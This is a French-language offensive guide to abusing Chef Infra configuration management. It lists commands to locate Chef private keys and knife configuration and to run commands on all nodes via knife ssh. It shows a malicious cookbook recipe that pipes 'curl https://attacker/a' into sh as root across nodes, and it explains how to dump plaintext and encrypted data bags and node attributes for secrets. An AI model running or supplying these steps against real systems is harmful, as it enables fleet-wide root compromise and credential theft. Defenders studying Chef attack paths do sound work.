Chef fonctionne selon un modèle pull : chef-client sur chaque nœud récupère sa run list et ses cookbooks depuis le serveur Chef Infra et les converge en tant que root. L'administration se fait depuis un poste de travail avec knife, authentifié par des clés privées client. Les points de levier sont ces clés, les cookbooks que les nœuds exécutent et les data bags qui contiennent les secrets de l'organisation.
Trouver les identifiants et le serveur#
find / -name '*.pem' -path '*chef*' 2>/dev/null; ls ~/.chef/ /etc/chef/
cat ~/.chef/knife.rb /etc/chef/client.rb # chef_server_url, node_name, client_key, validation_key
Les fichiers qui comptent sont client.pem (la clé d'un nœud ou d'un utilisateur), knife.rb (la configuration d'administration) et validation.pem/validator.pem (la clé de validation de l'organisation utilisée pour amorcer les nouveaux nœuds). N'importe lequel d'entre eux authentifie auprès du serveur Chef avec cette identité.
Exécuter des commandes sur les nœuds#
Avec des identifiants knife valides, vous pouvez interroger le serveur Chef et piloter la convergence. knife ssh (ou knife winrm) exécute en plus une commande sur chaque nœud correspondant, mais il s'authentifie auprès de ces nœuds via SSH, il a donc besoin de ses propres identifiants SSH de nœud (une clé ou un mot de passe), pas seulement de la clé API Chef :
knife node list # inventory (Chef API key alone)
knife search node 'role:web' -i # nodes by role/attribute
knife ssh 'name:*' 'id' -x root -i ~/.ssh/id_rsa # -x sets the SSH user, -i the key to the nodes
Si vous ne détenez que la clé API Chef et aucun identifiant SSH de nœud, le chemin d'exécution fiable est la voie du cookbook et de la run list ci-dessous, qui converge via l'agent indépendamment de SSH.
Téléverser un cookbook et éditer la run list#
L'exécution de code sur les nœuds qui n'exposent pas SSH passe par la convergence elle-même : téléversez un cookbook avec une ressource malveillante et ajoutez-le à la run list d'un nœud ou d'un rôle ; le nœud l'exécute en tant que root à sa prochaine exécution de chef-client.
# recipes/default.rb in an uploaded cookbook
execute 'x' do
command 'curl -s https://attacker/a | sh'
end
knife cookbook upload evil
knife node run_list add web1 'recipe[evil]' # or edit a role's run_list to hit many nodes at once
Piller les data bags et les attributs#
Les data bags Chef contiennent des secrets partagés ; les data bags chiffrés sont protégés par une clé distribuée aux nœuds (et au poste de travail) qui en ont besoin, de sorte qu'un point d'ancrage sur l'un ou l'autre la récupère :
knife data bag list
knife data bag show secrets credentials # plaintext bag
knife data bag show secrets credentials --secret-file /etc/chef/encrypted_data_bag_secret # encrypted bag
knife node show web1 --long # all attributes, which often carry secrets
Suite#
Des identifiants knife valides donnent l'exécution de code en tant que root sur chaque nœud (via knife ssh et via la convergence des cookbooks) ; les data bags, les attributs de nœud et la clé de validation étendent la portée et alimentent la réutilisation d'identifiants vers l'annuaire et les comptes cloud que ces secrets déverrouillent.